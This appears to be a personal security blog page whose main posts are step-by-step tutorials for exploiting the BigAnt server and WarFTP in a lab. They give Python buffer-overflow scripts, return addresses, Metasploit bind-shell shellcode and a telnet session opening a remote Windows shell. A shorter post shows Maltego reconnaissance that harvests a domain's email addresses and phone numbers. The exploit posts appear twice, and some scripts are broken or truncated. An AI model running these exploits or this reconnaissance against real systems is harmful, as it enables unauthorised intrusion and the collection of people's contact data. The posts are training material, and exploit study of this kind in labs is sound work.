Jumat, 11 Januari 2013

Now, we will try exploit BigAnt Application. Let's try it step by step..
First, prepare the fuzzing

import socket

target_address="192.168.56.101"

target_port=6660

buffer = "USV " + "\x41" * 2500 + "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address, target_port))

sock.send(buffer)

sock.close()

after that, run BigAnt

then, open OllyDbg and Attach BigAnt applications. Choose AntServer

Run a fuzzer. To see the results, select the tab view - SEH Chain. And The result is

in the image above, BigAnt 2500 crash with a buffer that we send. The results are shown with the number 41 as shown above.

Next, try to make the pattern of 2500 byte through # pattern_create

root@bt:/opt/metasploit/msf3/tools# ./pattern_create.rb 2500

enter the result into the fuzzer

import socket

target_address="192.168.56.101"

target_port=6660

buffer = "USV " + "\x41" * "Aa0Aa1Aa2Aa3A . ." #patter_create 2500

buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_add"ress, target_port))

sock.send(buffer)

sock.close()

after that try restarting OllyDbg and BigAnt and rerun fuzzernya. So the result

after the result has been that we can, try to insert into # pattern_offset

root @ bt :/ opt/metasploit/msf3/tools #. / pattern_offset.rb 42326742

966

conclusion is that it takes the value buffer of 966 bytes for the SEH.

After we have the address that used for SEH, enter the address that has a command offset vbajet32dll POP, RETN POP into fuzzer.

To get the offset address vbajet32dll, select the tab view-executable modules - double click VBAJET32. After that, right click - search for - sequence of command. Tyep as below

and the result is

Try doing a Break Point before run fuzzer. If the result is true

press Shift + f9 to process into memory vbajet32dl. Then press f7 to RETN command.

we need 6 springboard, while memory space that is there is only 4 bytes.

Therefore, it takes 2 bytes to achieve it. So we must modifications the fuzzer

import socket

target_address="192.168.56.101"

target_port=6660

buffer = "USV "

buffer+= "\x90" * 962

buffer+= "\xeb\x06\x90\x90"

buffer+= "\x6A\x19\x9A\x0F"

buffer+= "\x90" * (2500 - len(buffer))

buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address, target_port))

sock.send(buffer)

sock.close()

do breakpoint as before, so the result is

next is to create shellcode or payload with tools # msfweb

root @ bt :/ pentest/exploits/framework2 #. / msfweb

+ ---- = [Metasploit Framework Web Interface (127.0.0.1:55555)

enter the IP address above into your browser

insert the result of Genarate Payload into the Fuzzer

import socket

target_address="192.168.56.101"

target_port=6660

buffer = "USV "

buffer+= "\x90" * 962

buffer+= "\xeb\x06\x90\x90"

buffer+= "\x6A\x19\x9A\x0F"

buffer+= "\x90" * 16

buffer+= ("\xda\xdf\x29\xc9 . .) #Bind Shell

buffer+= "\x90" * (2500 - len(buffer))

buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address, target_port))

sock.send(buffer)

sock.close()

SUCCESSFULLY

GOODLUCK FOR YOUR TRY HARDER !!!

FUZZING SEH

Posted on 10.36 by Bin Sahi with No comments

Now, we will try exploit BigAnt Application. Let's try it step by step..
First, prepare the fuzzing

import socket

target_address="192.168.56.101"

target_port=6660

buffer = "USV " + "\x41" * 2500 + "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address, target_port))

sock.send(buffer)

sock.close()

after that, run BigAnt

then, open OllyDbg and Attach BigAnt applications. Choose AntServer

Run a fuzzer. To see the results, select the tab view - SEH Chain. And The result is

in the image above, BigAnt 2500 crash with a buffer that we send. The results are shown with the number 41 as shown above.

Next, try to make the pattern of 2500 byte through # pattern_create

root@bt:/opt/metasploit/msf3/tools# ./pattern_create.rb 2500

enter the result into the fuzzer

import socket

target_address="192.168.56.101"

target_port=6660

buffer = "USV " + "\x41" * "Aa0Aa1Aa2Aa3A . ." #patter_create 2500

buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_add"ress, target_port))

sock.send(buffer)

sock.close()

after that try restarting OllyDbg and BigAnt and rerun fuzzernya. So the result

after the result has been that we can, try to insert into # pattern_offset

root @ bt :/ opt/metasploit/msf3/tools #. / pattern_offset.rb 42326742

966

conclusion is that it takes the value buffer of 966 bytes for the SEH.

After we have the address that used for SEH, enter the address that has a command offset vbajet32dll POP, RETN POP into fuzzer.

To get the offset address vbajet32dll, select the tab view-executable modules - double click VBAJET32. After that, right click - search for - sequence of command. Tyep as below

and the result is

Try doing a Break Point before run fuzzer. If the result is true

press Shift + f9 to process into memory vbajet32dl. Then press f7 to RETN command.

we need 6 springboard, while memory space that is there is only 4 bytes.

Therefore, it takes 2 bytes to achieve it. So we must modifications the fuzzer

import socket

target_address="192.168.56.101"

target_port=6660

buffer = "USV "

buffer+= "\x90" * 962

buffer+= "\xeb\x06\x90\x90"

buffer+= "\x6A\x19\x9A\x0F"

buffer+= "\x90" * (2500 - len(buffer))

buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address, target_port))

sock.send(buffer)

sock.close()

do breakpoint as before, so the result is

next is to create shellcode or payload with tools # msfweb

root @ bt :/ pentest/exploits/framework2 #. / msfweb

+ ---- = [Metasploit Framework Web Interface (127.0.0.1:55555)

enter the IP address above into your browser

insert the result of Genarate Payload into the Fuzzer

import socket

target_address="192.168.56.101"

target_port=6660

buffer = "USV "

buffer+= "\x90" * 962

buffer+= "\xeb\x06\x90\x90"

buffer+= "\x6A\x19\x9A\x0F"

buffer+= "\x90" * 16

buffer+= ("\xda\xdf\x29\xc9 . .) #Bind Shell

buffer+= "\x90" * (2500 - len(buffer))

buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address, target_port))

sock.send(buffer)

sock.close()

SUCCESSFULLY

GOODLUCK FOR YOUR TRY HARDER !!!

Rabu, 02 Januari 2013

Now, we will try exploit Warftp with Fuzzing. Let's try it step by step ..

First we create fuzzernya. This time we will make the language python fuzzer

import socket

s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)

buffer ="\x41" * 1000

s.connect (('192.168.56.101' ,21))

data = s.recv (1024)

print ("sendingevildatavia USER command ...")

s.send ('USER '+buffer+'\r\n')

data = s.recv (1024)

s.send ('PASS PASSWORD '+'\r\n')

s.close()

print("Finish")

save with .py extension

check that fuzzer run make applications crash or not.

Run warftp.

Then, the fuzzer in the terminal.

So the result, warftp will be lost. That's a sign we managed to make crahs fuzzer.

The next step, check using Olly DBG to know warftp crash in memory

OllyDbg run.

After warftp run, then run the fuzzer in backtrack. Here is the result

The next process is to make patter_create. The goal is to find out the true locations of sebuat string in data packets transmitted by the fuzzer. To do so type the command as below

copy and paste the results of patter_create into fuzzer.

As scribt below

import socket

s = socket.socket(socket.AF_INET,socket. SOCK_STREAM)

buffer ="Aa0Aa1Aa2Aa3A . ." #pattern_create

s.connect (('192.168.56.101' ,21))

data = s.recv (1024)

print ("sendingevildatavia USER command ...")

s.send ('USER '+buffer+'\r\n')

data = s.recv (1024)

s.send ('PASS'+'\r\n')

s.close()

print("Finish")

Run back and warftp OllyDbg. Then run it again fuzzer

from the patter_create, obtained the address and ESP 32714131 EIP is q4Aq5A ...

The next look at how the string override byte register. In order to do so using patter_offset.

Open patter_offset and type the command as shown below

root@bt:/opt/metasploit/msf3/tools# ./pattern_offset.rb 32714131

485

root@bt:/opt/metasploit/msf3/tools# ./pattern_offset.rb q4Aq5A

493

on the above data, it can be seen to achieve EIP registers required 485 bytes of data. While the data is needed to achieve a stack of 493 bytes. Therefore, it can be seen that will overwrite the EIP register byte 486, 487.488 and 489.

to prove it, the fuzzer change the variable buffer and add variable EIP in it. As scribt below

import socket

s = socket.socket(socket.AF_INET,socket. SOCK_STREAM)

buffer ="\x90" * 485

buffer+="\xEF\xBE\xAD\xDE"

buffer+="\x90" * (493-len(buffer))

buffer+="\xCC" * (1000-len(buffer))

s.connect (('192.168.56.101' ,21))

data = s.recv (1024)

print ("sendingevildatavia USER command ...")

s.send ('USER '+buffer+'\r\n')

data = s.recv (1024)

s.send ('PASS'+'\r\n')

s.close()

print("Finish")

So the result as below

Furthermore, to find the address of a memory that stores the JMP ESP command run OllyDbg. On the View menu Select Sub menu Execute modules.

then double click shell32.dll and find (CTRL + F) JMP ESP. Will display memory address

7C9D30D7 FFE4 JMP ESP

7C9D30ED CC INT3

after successfully finding the address in memory ESP JSP Warftp, then enter the address into the fuzzer. As scribt below

import socket

s = socket.socket(socket.AF_INET,socket. SOCK_STREAM)

buffer ="\x90" * 485

buffer+="\xEB\x30\xD9\x7C"

buffer+="\xCC" * (493-len(buffer))

buffer+="\xCC" * (1000-len(buffer))

s.connect (('192.168.56.101' ,21))

data = s.recv (1024)

print ("sendingevildatavia USER command ...")

s.send ('USER '+buffer+'\r\n')

data = s.recv (1024)

s.send ('PASS'+'\r\n')

s.close()

print("Finish")

run back Ollydbg and warftp.

Next we create the payload. In this case, we use metasploit. Type the command as below

root@bt:~# cd /pentest/exploits/framework2/

root@bt:/pentest/exploits/framework2# ls

data exploits msfcli msfelfscan msfpayload msfweb sdk tools

docs extras msfconsole msfencode msfpescan nops src

encoders lib msfdldebug msflogdump msfupdate payloads t

root@bt:/pentest/exploits/framework2# ./msfweb

+----=[ Metasploit Framework Web Interface (127.0.0.1:55555)

after that, open the browser and type IP address

select the payload Tab and Filter Modules = os Win32. Then select Blind Shell

The result of Generate Payload

enter the results of paylod into fuzzer, as scribt below

import socket

s = socket.socket(socket.AF_INET,socket. SOCK_STREAM)

buffer ="\x90" * 485

buffer+="\xEB\x30\xD9\x7C"

buffer+="\x90" * 32

buffer+=("\x29\xc9\xb1\x51\xd9 . .) #Bind Shell

s.connect (('192.168.56.101' ,21))

data = s.recv (1024)

print ("sendingevildatavia USER command ...")

s.send ('USER '+buffer+'\r\n')

data = s.recv (1024)

s.send ('PASS'+'\r\n')

s.close()

print("Finish")

we try running warftp and fuzzer.

After that, we try to telnet by typing the following command

root@bt:~# telnet 192.168.56.101 4444

Trying 192.168.56.101...

Connected to 192.168.56.101.

Escape character is '^]'.

Microsoft Windows XP [Version 5.1.2600]

C:\Documents and Settings\XP SP3\My Documents>

we can see that the payload successfully enter the buffer in the system warftp server and windows XP running payload successfully.

GOOD LUCK FOR YOUR TRY HARDER !!!

FUZZING

Posted on 10.35 by Bin Sahi with 1 comment

Now, we will try exploit Warftp with Fuzzing. Let's try it step by step ..

First we create fuzzernya. This time we will make the language python fuzzer

import socket

s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)

buffer ="\x41" * 1000

s.connect (('192.168.56.101' ,21))

data = s.recv (1024)

print ("sendingevildatavia USER command ...")

s.send ('USER '+buffer+'\r\n')

data = s.recv (1024)

s.send ('PASS PASSWORD '+'\r\n')

s.close()

print("Finish")

save with .py extension

check that fuzzer run make applications crash or not.

Run warftp.

Then, the fuzzer in the terminal.

So the result, warftp will be lost. That's a sign we managed to make crahs fuzzer.

The next step, check using Olly DBG to know warftp crash in memory

OllyDbg run.

After warftp run, then run the fuzzer in backtrack. Here is the result

The next process is to make patter_create. The goal is to find out the true locations of sebuat string in data packets transmitted by the fuzzer. To do so type the command as below

copy and paste the results of patter_create into fuzzer.

As scribt below

import socket

s = socket.socket(socket.AF_INET,socket. SOCK_STREAM)

buffer ="Aa0Aa1Aa2Aa3A . ." #pattern_create

s.connect (('192.168.56.101' ,21))

data = s.recv (1024)

print ("sendingevildatavia USER command ...")

s.send ('USER '+buffer+'\r\n')

data = s.recv (1024)

s.send ('PASS'+'\r\n')

s.close()

print("Finish")

Run back and warftp OllyDbg. Then run it again fuzzer

from the patter_create, obtained the address and ESP 32714131 EIP is q4Aq5A ...

The next look at how the string override byte register. In order to do so using patter_offset.

Open patter_offset and type the command as shown below

root@bt:/opt/metasploit/msf3/tools# ./pattern_offset.rb 32714131

485

root@bt:/opt/metasploit/msf3/tools# ./pattern_offset.rb q4Aq5A

493

to prove it, the fuzzer change the variable buffer and add variable EIP in it. As scribt below

import socket

s = socket.socket(socket.AF_INET,socket. SOCK_STREAM)

buffer ="\x90" * 485

buffer+="\xEF\xBE\xAD\xDE"

buffer+="\x90" * (493-len(buffer))

buffer+="\xCC" * (1000-len(buffer))

s.connect (('192.168.56.101' ,21))

data = s.recv (1024)

print ("sendingevildatavia USER command ...")

s.send ('USER '+buffer+'\r\n')

data = s.recv (1024)

s.send ('PASS'+'\r\n')

s.close()

print("Finish")

So the result as below

Furthermore, to find the address of a memory that stores the JMP ESP command run OllyDbg. On the View menu Select Sub menu Execute modules.

then double click shell32.dll and find (CTRL + F) JMP ESP. Will display memory address

7C9D30D7 FFE4 JMP ESP

7C9D30ED CC INT3

after successfully finding the address in memory ESP JSP Warftp, then enter the address into the fuzzer. As scribt below

import socket

s = socket.socket(socket.AF_INET,socket. SOCK_STREAM)

buffer ="\x90" * 485

buffer+="\xEB\x30\xD9\x7C"

buffer+="\xCC" * (493-len(buffer))

buffer+="\xCC" * (1000-len(buffer))

s.connect (('192.168.56.101' ,21))

data = s.recv (1024)

print ("sendingevildatavia USER command ...")

s.send ('USER '+buffer+'\r\n')

data = s.recv (1024)

s.send ('PASS'+'\r\n')

s.close()

print("Finish")

run back Ollydbg and warftp.

Next we create the payload. In this case, we use metasploit. Type the command as below

root@bt:~# cd /pentest/exploits/framework2/

root@bt:/pentest/exploits/framework2# ls

data exploits msfcli msfelfscan msfpayload msfweb sdk tools

docs extras msfconsole msfencode msfpescan nops src

encoders lib msfdldebug msflogdump msfupdate payloads t

root@bt:/pentest/exploits/framework2# ./msfweb

+----=[ Metasploit Framework Web Interface (127.0.0.1:55555)

after that, open the browser and type IP address

select the payload Tab and Filter Modules = os Win32. Then select Blind Shell

The result of Generate Payload

enter the results of paylod into fuzzer, as scribt below

import socket

s = socket.socket(socket.AF_INET,socket. SOCK_STREAM)

buffer ="\x90" * 485

buffer+="\xEB\x30\xD9\x7C"

buffer+="\x90" * 32

buffer+=("\x29\xc9\xb1\x51\xd9 . .) #Bind Shell

s.connect (('192.168.56.101' ,21))

data = s.recv (1024)

print ("sendingevildatavia USER command ...")

s.send ('USER '+buffer+'\r\n')

data = s.recv (1024)

s.send ('PASS'+'\r\n')

s.close()

print("Finish")

we try running warftp and fuzzer.

After that, we try to telnet by typing the following command

root@bt:~# telnet 192.168.56.101 4444

Trying 192.168.56.101...

Connected to 192.168.56.101.

Escape character is '^]'.

Microsoft Windows XP [Version 5.1.2600]

C:\Documents and Settings\XP SP3\My Documents>

we can see that the payload successfully enter the buffer in the system warftp server and windows XP running payload successfully.

GOOD LUCK FOR YOUR TRY HARDER !!!

Rabu, 26 Desember 2012

First, you need to download and install Maltego from the www.paterva.com web site.

If you’re running Ubuntu or Backtrack, you’ll want to install the “deb” version onto your machine (Ubuntu/Debian and Backtrack all install .deb files). Same checks above apply for Linux to determine if you have Java already installed.

After the instalation finish, Then, you will be presented with a blank canvas for you to start mining data with. Maltego is not the most intuitive interface but once you learn how it works, it becomes rather easy to navigate, so let’s go over the basics here and you’ll soon be mastering it on your own.

For our first example, let’s say we wanted to find the phone number of an employee of a certain company. First, we’ve got to become familiar with Maltego’s palette of “entities” we can use to search for information on the Internet. This palette is located on the left side of the screen and is divided up into 2 sections: “Infrastructure” up top and “Personal” down bottom. These are all the different types of entities we can have Maltego go mining data for.

So, if we wanted to find a particular domain, we’d start with the “domain” entity under the “Infrastructure” section of the Palette to start searching data. Why? Because we’re going to use this entity to specify the web domain.

Click on the “Domain” entity and drag it to the canvas in the middle of the screen. You will be presented with a Domain entity on the canvas, prepopulated with “paterva.com” in it. However, this is a default entity and you will need to fill in some information for Maltego to start mining data. Click on the entity to highlight it.

www.is2c-dojo.com

Now, right-click on the domain entity and follow the menu system thusly:

DNS FOR DOMAIN - DNS NAME MX

DNS FOR DOMAIN - DNS NAME NS

DOMAIN OWNER DETAIL

Run Transforms - All Transforms

Check all checkbox

FULL TRANSFORM

TRANSFORM OUTPUT

Transform To Website DNS [using Search Engine] returned with 2 entities.

Transform DomainToSOAInformation returned with 2 entities.

Running transform To DNS Name [Attempt zone transfer] on 1 entities.

Running transform DomainToSPFInformation on 1 entities.

Transform To Email addresses [PGP] returned with 1 entities.

Running transform To Website [Quick lookup] on 1 entities.

Transform To Email addresses [using Search Engine] returned with 1 entities.

Running transform To Email address [From whois info] on 1 entities.

Transform To Website [using Search Engine] returned with 12 entities.

Running transform To Domain [Find other TLDs] on 1 entities.

Transform DomainToSPFInformation returned with 2 entities.

Running transform To Phone numbers [From whois info] on 1 entities.

Zone transfer on is2c-dojo.com is not allowed!

Transform To DNS Name [Attempt zone transfer] returned with 0 entities.

Running transform To Files (Office) [using Search Engine] on 1 entities.

Transform To Website [Quick lookup] returned with 1 entities.

Running transform To DNS Name - NS (name server) on 1 entities.

Did not find any whois information - performing whois

Transform To Email address [From whois info] returned with 2 entities.

Running transform To DNS Name [Find common DNS names] on 1 entities.

Transform To DNS Name - NS (name server) returned with 2 entities.

Running transform To Phone Numbers [using Search Engine] on 1 entities.

No results from SearchEngine

Transform To Files (Office) [using Search Engine] returned with 0 entities.

Running transform DomainToDNSNameSchema on 1 entities.

Transform To DNS Name [Find common DNS names] returned with 2 entities.

Running transform To Person [PGP] on 1 entities.

No results from SearchEngine

Transform To Phone Numbers [using Search Engine] returned with 0 entities.

Running transform To DNS Name - MX (mail server) on 1 entities.

Transform To Person [PGP] returned with 1 entities.

Running transform To Emails @domain [using Search Engine] on 1 entities.

Transform To DNS Name - MX (mail server) returned with 1 entities.

Running transform To Entities (NER) [Alchemy and OpenCalais] via whois on 1 entities.

Transform To Emails @domain [using Search Engine] returned with 0 entities.

Running transform To Files (Interesting) [using Search Engine] on 1 entities.

Did not find any whois information - performing whois

Could not parse any email addresses from the whois information

Transform To Phone numbers [From whois info] returned with 1 entities.

Transform To Domain [Find other TLDs] returned with 0 entities.

Interesting files cannot be obtained with this Search Engine Type, but I'll try anyhow!

No results from SearchEngine

Transform To Files (Interesting) [using Search Engine] returned with 0 entities.

Transform To Entities (NER) [Alchemy and OpenCalais] via whois returned with 5 entities.

Using Schema http://tastools.paterva.com/bfdns/aaastandard.bfdns

Transform DomainToDNSNameSchema returned with 3 entities.

www.spentera.com

RESULT OF

EMAIL ADDRESS FOR DOMAIN

DNS FOR DOMAIN

RESULT OF ALL TRANSFORM

Maltego is much more powerful than this, however, and can take a few weeks to really master its intricacies. I highly recommend that you practice using this tool to perfect (and streamline) your reconnaissance skills.

IG With Maltego

Posted on 10.31 by Bin Sahi with No comments